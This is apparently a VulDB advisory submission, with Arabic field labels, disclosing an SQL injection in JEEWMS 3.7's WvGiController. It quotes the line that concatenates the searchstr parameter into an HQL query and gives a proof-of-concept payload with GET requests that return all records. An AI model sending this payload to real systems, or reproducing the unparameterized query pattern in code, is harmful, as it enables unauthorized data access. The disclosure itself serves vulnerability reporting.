| عنوان | erzhongxmu JEEWMS 3.7 SQL Injection |
|---|
| الوصف | JEEWMS v3.7 WvGiController (出货管理/outbound goods interface) concatenates user-supplied searchstr parameters directly into HQL queries without parameterization, allowing authenticated attackers to alter query logic and dump data.
Vulnerable code (WvGiController.list, line 99):
hql = hql + " and orderId = '" + searchstr + "'" + " or imCusCode like '%" + searchstr + "%'";
A request with searchstr=' or 1=1 or '1'='1 returns ALL wv_gi rows instead of the filtered set (verified live: normal request returns 1 record, injected request returns all 3 records in the response JSON "obj" array).
PoC:
GET /wvGiController.do?username=test&searchstr=' or 1=1 or '1'='1 -> all records returned in "obj"
GET /wvGiController.do?username=test&searchstr=ORD001 -> only matching record
Vulnerable code: src/main/java/com/zzjee/wmapi/controller/WvGiController.java:99 |
|---|
| المصدر | ⚠️ https://github.com/erzhongxmu/JEEWMS |
|---|
| المستخدم | Lib0gus (UID 101005) |
|---|
| ارسال | 04/09/2026 11:22 AM (2 أشهر منذ) |
|---|
| الاعتدال | 11/10/2026 09:54 AM (1 month later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 416557 [erzhongxmu JEEWMS حتى 2026.09.27-W39 WvGiController.java WvGiController.list searchstr حقن SQL] |
|---|
| النقاط | 20 |
|---|